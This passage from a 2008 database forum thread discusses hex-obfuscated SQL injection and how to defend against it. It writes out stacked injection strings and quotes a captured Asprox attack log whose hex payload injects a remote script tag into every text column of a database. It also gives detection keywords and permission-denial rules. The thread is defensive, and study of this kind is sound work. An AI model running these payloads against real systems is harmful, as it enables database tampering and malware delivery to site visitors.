Click here to monitor SSC
SQLServerCentral is supported by Red Gate Software Ltd.
 
Log in  ::  Register  ::  Not logged in
 
 
 
        
Home       Members    Calendar    Who's On


Add to briefcase «««23456»»

A Hex on Your Database Expand / Collapse
Author
Message
Posted Monday, June 9, 2008 3:07 AM
SSC Veteran

SSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC Veteran

Group: General Forum Members
Last Login: Wednesday, July 13, 2011 2:21 AM
Points: 251, Visits: 208
Switching the order is no guarantee the hacker could modify the string to:

account=1=1;declare @a varchar(1000);set @a=cast(0x73656C656374206E616D652066726F6D207379732E6461746162617365733B as varchar(1000));exec(@a);--

The additional "=1" now returns all records from your planned table and the "--" comments out the rest of SQL.

It seems we must still check the value is what we expect

Another great question getting the grey matter going.
Post #513585
Posted Monday, June 9, 2008 8:30 AM
SSC-Enthusiastic

SSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-Enthusiastic

Group: General Forum Members
Last Login: Thursday, July 22, 2010 8:59 AM
Points: 110, Visits: 952
We recently dealt with this exploit.

One very useful tip that I did not find anywhere else: Revoke access to the meta-data tables this attack uses to find every character field in every table. If not for this obvious security risk, the attacker would need to _know_ the name of each field. As it is, this drive-by vandalism is pretty easy to do.

I wrote about this in response to an auditing post: http://www.sqlservercentral.com/Forums/FindPost513739.aspx

part of the heuristics we examine before the SQL Command Text is sent to the server is to look for the "varbinary" keyword as well as the "cast(0x" because our normal webserver-generated transactions are never going to legitimately use those commands. If this exploit vector uses tokens that are never otherwise used in real transactions, it's easy to identify the entire family of attack by this signature (and prevent even passing the command to the database).
Post #513753
Posted Monday, June 9, 2008 8:54 AM
SSC Veteran

SSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC VeteranSSC Veteran

Group: General Forum Members
Last Login: Friday, December 19, 2014 10:30 AM
Points: 203, Visits: 132
First off, I thought the QotD was great. I've read about this attack, but hadn't yet seen an example of how it was executed.

scott (6/9/2008)
Hmmm, interesting topic. Definitely something to be aware of. I see alot of "Dynamic SQL is evil" posts but one thing sticks out at me that is an old C/C++ trick I use (It's a good way to ensure that you don't mix up your "==" and "=").

If, for example, the "account=1" is used as...

"SELECT * FROM Accounts WHERE AccountNumber=" & Request.QueryString("account")

Then changing this query to...

"SELECT * FROM Accounts WHERE " & Request.QueryString("account") & "=AccountNumber"

Returns an error.

Just my 2c...


This is just security through obscurity. There are several problems with this approach. First, many developers who are too lazy to properly parameterize the statement (which would be the correct way to fix this), are also likely to display the error message returned from SQL server somewhere on the page. For example, the error message I get from your solution is this: "An expression of non-boolean type specified in a context where a condition is expected, near ';'". So I can simply change my attack to this:

1=1;{add my hex attack here};--

The 1=1 will prevent the error, and then by ending the attack with the line comment I can remove the trailing command from the query definition.

The way to properly prevent ANY and ALL injection attacks has already been stated:

1) use Parameter objects along with a Command object
2) If you MUST dynamically add other clauses to your statement, NEVER, NEVER, NEVER use the user's direct input as part of your concatenation.

examples of #2:

dynamic ORDER BY
string cmd = "SELECT col1, col2 FROM myTable ORDER BY " + Request.QueryString["input"]

dynamic procedure name
string cmd = "myStoredProc" + Request.QueryString["input"]
DbCommand query = new DbCommand(cmd);
query.CommandType = CommandType.StoredProcedure
.....

In the case of #2 use an enumeration or a whitelist of some kind if you must write statements like those above.

The sad thing here is that the answer to this for many will simply be to update their blacklists or some other hack instead of properly fixing the issue which has been so well documented. IMHO, I blame poorly written documentation, poor articles posted on the web and lazy (read: poorly written) forum responses which suggest (implicitly) to the reader that it is ok to write SQL which is wide open to these attacks. When writing any of the above the other should take the responsibility to write examples properly and assume that for every 1 person who knows to translate the example to a proper statement there will be 100 noobs who will copy and paste his example into their code and never give it a second thought.

The repercussions of not properly writing ad hoc queries is serious. Getting the list of databases is tame by any measure. It would be so easy for the attacker to upload an XSS attack to a forum and place malware on all your visitor's machines. This should be such an easy thing to fix, but too many people think, "It won't happen to me".


blog: http://developmentalmadness.blogspot.com
Post #513779
Posted Monday, June 9, 2008 5:22 PM


Old Hand

Old HandOld HandOld HandOld HandOld HandOld HandOld HandOld Hand

Group: General Forum Members
Last Login: Tuesday, December 10, 2013 10:06 PM
Points: 374, Visits: 428
AGAIN. The question makers should take some English language classes.
What sort of question is this:

Q: What happens?
A: The list of databases.

How can a "list of databases" happen?

The correct question should be something like ".... The Request string gets executed... What will be returned as the result of the execution?"
The correct answer should be something like ".... the list of databases will be returned"...


M.Sc.IT, M.B.A, MCTS BI 2008, MCITP BI 2008, MCTS SQL Dev, CSM, CDVDM
Post #514096
Posted Tuesday, June 10, 2008 11:20 AM


SSChampion

SSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampion

Group: General Forum Members
Last Login: Thursday, December 18, 2014 9:58 AM
Points: 13,872, Visits: 9,600
Yes, a list of databases happens.

As far as English classes, I'd gladly take one, but I actually find my state of complete illiteracy provides me with more opportunities to actualize my conceptual mazeway in manners that degrade misinterpretation. Just to abjure obfuscation, I'm nearly certain to employ a titanically substandard technique and mastery of both vocabulary and structure.

(As already mentioned, I wasn't actually happy with the wording of the question, and clarification and expansion of the answers would have been good, but I couldn't work out how to ask it perfectly within the constraints of the format. I do, however, ask that you avoid equating a possible awkwardness of a single part of the concept, with a lack of skill in English.)


- Gus "GSquared", RSVP, OODA, MAP, NMVP, FAQ, SAT, SQL, DNA, RNA, UOI, IOU, AM, PM, AD, BC, BCE, USA, UN, CF, ROFL, LOL, ETC
Property of The Thread

"Nobody knows the age of the human race, but everyone agrees it's old enough to know better." - Anon
Post #514653
Posted Tuesday, June 10, 2008 11:31 AM
Hall of Fame

Hall of FameHall of FameHall of FameHall of FameHall of FameHall of FameHall of FameHall of FameHall of Fame

Group: General Forum Members
Last Login: Wednesday, November 26, 2014 9:53 AM
Points: 3,475, Visits: 584
As I replied to a presenter of SQL Server 7 "English Query" Feature about 10 year ago when he asked if I liked it: "Not sure. My Sequel (SQL) is better then my English"

On this site we do welcome all SQL people including both categories: those whose SQL is better then their English and those whose English is better then their SQL.



Regards,
Yelena Varshal

Post #514669
Posted Tuesday, June 10, 2008 2:00 PM


SSChampion

SSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampionSSChampion

Group: General Forum Members
Last Login: Thursday, December 18, 2014 9:58 AM
Points: 13,872, Visits: 9,600
I'm still too busy chuckling about someone writing a post to complain about my use of English, while misusing elipses, commas, quotation marks, periods, sentence structure, paragraphs, and hyphens, all in that same post.

Purpose is senior to structure. The question accomplished its purpose, despite its obviously and acknowledgely flawed structure. I would rather that, than a question that was gramatically and structurally perfect, and which communicated with utmost clarity, but which failed to accomplish its purpose. I'm not a politician, nor a lawyer; what I'm saying/writing is far more important to me than the exact words used and their manner of use.


- Gus "GSquared", RSVP, OODA, MAP, NMVP, FAQ, SAT, SQL, DNA, RNA, UOI, IOU, AM, PM, AD, BC, BCE, USA, UN, CF, ROFL, LOL, ETC
Property of The Thread

"Nobody knows the age of the human race, but everyone agrees it's old enough to know better." - Anon
Post #514801
Posted Monday, June 16, 2008 2:18 AM


SSC-Enthusiastic

SSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-EnthusiasticSSC-Enthusiastic

Group: General Forum Members
Last Login: Monday, April 19, 2010 6:47 AM
Points: 100, Visits: 130
I run a web server where the oldest pages date about 10 years of life, and are still in old .asp.

Unfortunately I knew the answer very well. I had a bit of a nightmare last month, when I was checking my web server log and found some very strange entries like this:

DO NOT RUN THIS CODE ON YOUR DB OR IT WILL BE DESTROYED
2008-05-11 20:57:33 W3SVC2094917486 10.0.0.5 POST /Customer/Inklist.asp K=NITRO;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500
43004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800
320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F0052002000
46004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D002000730079007300
6F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E0069006400
3D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E007800740079007000
65003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D00320033003100
20006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00
720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F00720020004900
4E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900
200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D0020007300650074002000
5B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B002700
2B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063006F006D00
700075007400650072007300680065006C006C006F002E0063006E002F0071002E006A0073003E003C002F007300630072006900700074003E002700270027002900
4600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E005400
4F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F007200200044004500
41004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 8086 - 10.0.0.1 Mozilla/3.0+(compatible;+Indy+Library) 302 0 0

(Please note I had to break the hex code adding carriage returns: you have to put that on a single line.
If you want to examine the code:
* Open a query window in SQL server;
* Insert:
DECLARE @S NVARCHAR(4000);
SET @S=CAST( and here add all the above hex on a sinle line [excluding the %20AS%20... of course] AS NVARCHAR(4000));
* remove EXEC(@S); code!!!
* add a SELECT @S; line at the end. )


I had to re-examine all of those old .asp pages and see if they were vulnerable (fortunately not, but it probably was a matter of good luck - or good programming style - because at that time SQL injection was something nobody had ever heard of, or at least I didn't).

A few weeks later, my firewall got the signature for this attack ("Danmec.Asprox.SQL.Injection") and now recognizes those trials blocking them before they reach IIS.

Examining the code was really interesting to me, because I had never seen such a destructive code put into action. The attacker has some brain, and deep knowledge of the SQL server internals. I tried to follow the .cn site where the html script, injected in every row of every table of the db, points (now that site is down).
A web page using data provided by an infected table, would have run a javascript downloaded by that computershello.cn site. This javascript would have opened an IFRAME pointing to other javascripts downloading content from several other web sites (most of them seemed to reside in China).
Since then, my firewall reported dozen of those attacks every day.

Scary, isn't it?

Bottom line is: take SQL injection risk as a real menace. There are people out there who will try everything to destroy your work and your data, for some mysterious reason! (I hope this post doesn't give some of them some bad ideas, my purpose was the exact opposite.)
Post #517391
Posted Monday, June 16, 2008 8:32 AM


Keeper of the Duck

Keeper of the Duck

Group: Moderators
Last Login: Friday, November 14, 2014 7:14 AM
Points: 6,625, Visits: 1,876
davidthegray (6/16/2008)
Examining the code was really interesting to me, because I had never seen such a destructive code put into action. The attacker has some brain, and deep knowledge of the SQL server internals.

...

Bottom line is: take SQL injection risk as a real menace. There are people out there who will try everything to destroy your work and your data, for some mysterious reason! (I hope this post doesn't give some of them some bad ideas, my purpose was the exact opposite.)


Unfortunately, I would have to disagree with the statement about deep knowledge. The attacker is trying to obfuscate the code and this isn't a new attack mechanism. It's actually rather old, dating back to the IIS 4.0 days. Then it was hiding directory traversal attacks by using Unicode. It's just new with respect to applying it to SQL injection. The actual mechanism that is being tried, which inserts a javascript routine into code that will be displayed on the web page, has also been around a while.


K. Brian Kelley, CISA, MCSE, Security+, MVP - SQL Server
Regular Columnist (Security), SQLServerCentral.com
Author of Introduction to SQL Server: Basic Skills for Any SQL Server User
| Professional Development blog | Technical Blog | LinkedIn | Twitter
Post #517591
Posted Wednesday, June 18, 2008 11:14 AM
Valued Member

Valued MemberValued MemberValued MemberValued MemberValued MemberValued MemberValued MemberValued Member

Group: General Forum Members
Last Login: Wednesday, November 19, 2014 4:52 AM
Points: 51, Visits: 124
we've been getting hammered by the version of the attack that inserts the javascript mentioned above, thanks to a complete lack of input validation and total reliance on the:

rs.Source = "SELECT * FROM Orders WHERE OrderID = '" & Request.QueryString("OrderID") & "'"

style of coding.

Our solution, though very weak IMO, has been to issue:

DENY SELECT ON syscolumns TO [username]
DENY SELECT ON sysobjects TO [username]


This solution has been successful, though I can't help but be concerned about how vulnerable we are to other types of SQL injection. And of course, no one is willing to give the go-ahead to rewrite our thousands of scripts to utilize parameterized queries, include input validation, etc.

Can't complain about the job security that this particular exploit has given me though :)
Post #519287
« Prev Topic | Next Topic »

Add to briefcase «««23456»»

Permissions Expand / Collapse